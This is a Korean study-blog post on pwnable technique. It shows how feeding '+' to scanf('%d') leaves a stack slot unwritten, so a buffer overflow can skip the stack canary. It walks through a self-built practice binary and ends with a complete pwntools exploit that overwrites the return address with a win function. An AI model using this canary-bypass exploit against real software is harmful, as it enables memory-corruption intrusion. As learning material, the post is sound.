일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- tcache
- OOB
- 수학
- RTL
- 연결리스트
- 문자열 처리
- 이분 탐색
- 동적 계획법
- syscall
- 백트래킹
- heap
- ROP
- 이진트리
- off by one
- BOF
- 완전 탐색
- fsb
- 큐
- 다이나믹 프로그래밍
- 분할 정복
- House of Orange
- BFS
- 투 포인터
- 브루트 포스
- 이진 탐색
- 에라토스테네스의 체
- 스택
- 포맷스트링버그
- 스위핑 알고리즘
- DFS
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
scanf("%d")에 대한 잡기술(?)... 본문
포너블을 하면서 새로운 기법(?)을 찾아서 글로 적어두려 한다.
사실 기법이라기 보다는 그냥 잡기술이 맞는거 같은데
원래 scanf()의 서식문자에 맞지 않는 문자를 넣으면 버퍼링이 걸려서 바로 나간다는 점은 알고 있었는데, 이번과 같은 경우는 처음 보았기 때문에 더욱 놀라웠다.
이번 기술에 너무 감명(?) 받아 예시를 들고자 하여 바이너리를 만들었다.
IDA로 바이너리를 까보면
main과 win 함수가 주어진다.
간단히 보자면
n을 크게 입력하면 반복문 입력을 하면서 bof가 발생하는 것을 볼 수 있다.
그래서 처음 win의 함수 주소를 bof를 통해 ret에 덮으면 끝나는 문제이다.
하지만 문제점은 Canary가 존재한다.
bof가 있다 하더라도 canary를 우회하지 않으면 의미가 없다.
그래서 이제 잡기술에 대해 서보고자 한다.
잡기술은 바로 scanf("%d")에 아무런 값도 입력하지 않으면서 넘어가는 방법 이다.
이게 무슨 말이냐 하면
다음과 같은 배열이 있다고 하자.
A = [0xaaaa, 0xbbbb, 0xcccc, 0xdddd] ( A는 stack 배열로 초기화 되지 않은 배열로 가정하겠다. )
이 상태에서 우리가 다음과 같은 코드를 돌린다 할 때, A배열은 다음과 같이 변할 것이다.
1
2
|
for(int i = 0; i < 4; ++i)
scanf("%d", &A[i]);
|
[*] 1을 입력했을 때
A = [1, 0xbbbb, 0xcccc, 0xdddd]
[*] 2를 입력했을 때
A = [1, 2, 0xcccc, 0xdddd]
[*] 3을 입력했을 때
A = [1, 2, 3, 0xdddd]
[*] 4을 입력했을 때
A = [1, 2, 3, 4]
- 종료 -
최종 A = [1, 2, 3, 4]
이처럼 A 배열의 앞에서 차례대로 입력을 받는다.
하지만 서식문자와 맞지 않는 문자를 입력하게 될 경우에는 A의 배열의 값을 바꾸지 않고 올바른 서식문자가 나오기 전까지 scanf()를 무시한다.
예를 들어, scanf("%d")에서 'a'와 같은 일치하지 않는 문자를 입력했을 경우에는 다음 입력을 전부 무시한다.
A = [0xaaaa, 0xbbbb, 0xcccc, 0xdddd]가 있다 할 때,
역시 위에서처럼 같은 코드를 돌린다 가정했을 경우
1
2
|
for(int i = 0; i < 4; ++i)
scanf("%d", &A[i]);
|
[*] 'a'를 입력할 때
A = [0xaaaa, 0xbbbb, 0xcccc, 0xdddd]
- 종료 -
최종 A = [0xaaaa, 0xbbbb, 0xcccc, 0xdddd]
가 된다.
하지만 이 것도 저 바이너리를 익스하는데 도움이 되지 않는다. 왜냐하면 ret에 아무런 값도 쓸 수 없기 때문이다...
여기서 우리는 Canary[]를 우회하고 ret[]을 건드려야 하는데,
canary에 입력을 하지 않고 어떻게 ret을 건드릴까?
바로 '+' 나 '-'를 입력하여 우회하는 방법이다.
scanf("%d")에 '+'를 입력할 경우에 이 scanf는 입력을 안하고 넘어가 되, 다음 scanf는 입력을 할 수 있게 된다.
다시 예를 들어보자.
A = [0xaaaa, 0xbbbb, 0xcccc, 0xdddd]가 있다 할 때,
역시 위에서처럼 같은 코드를 돌린다 가정했을 경우
1
2
|
for(int i = 0; i < 4; ++i)
scanf("%d", &A[i]);
|
[*] 1을 입력했을 때
A = [1, 0xbbbb, 0xcccc, 0xdddd]
[*] '+' 를 입력했을 때
A = [1, 0xbbbb, 0xcccc, 0xdddd]
[*] '+'을 입력했을 때
A = [1, 0xbbbb, 0xcccc, 0xdddd]
[*] 4을 입력했을 때
A = [1, 0xbbbb, 0xcccc, 4]
- 종료 -
최종 A = [1, 0xbbbb, 0xcccc, 4]
...!
개사기다
gdb로 vfscanf를 까서 봐도 아직은 왜 그런지는 모르겠지만,,,
( 아마 %d는 정수를 입력받는데 +와 -뒤에 아무것도 쓰지 않으면 숫자를 인식을 못해서 그냥 넘어가는 듯 하다)
어쨋든 저렇게 입력할 경우 해당 입력은 우회가 된다..!
따라서 저 방법을 가지고 익스를 하면 된다.
exploit 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
#-*-coding:utf-8-*-
from pwn import *
p = process('./buffering_scanf')
p.recvuntil("win : ")
win = int(p.recvuntil("\n").strip(), 16)
print '%#x' % win
p.sendlineafter(">> ", str(100)) # 충분히 큰 수
for i in range(10):
p.sendline(str(i))
p.sendline('+') # 4byte 카나리 우회
p.sendline('+') # 4byte 카나리 우회
p.sendline('0') # 4byte
p.sendline('0') # 4byte
p.sendline(str(win)) # 4byte
p.sendline('0') # 4byte
p.sendline("a") # 남은 반복문 탈출
p.interactive()
|
'study > pwnable' 카테고리의 다른 글
[Exploitation Technique] ROP (Return Oriented Programming) (0) | 2020.05.30 |
---|---|
[Exploitation Technique] RTL chaining (0) | 2020.05.28 |
malloc_hook에 값이 있을 때 __libc_calloc? (0) | 2020.04.10 |
stderr로 stdout 대체하기? (0) | 2020.02.14 |
[Exploitation Technique] RTL 기법 (Return-to-libc) (0) | 2020.02.04 |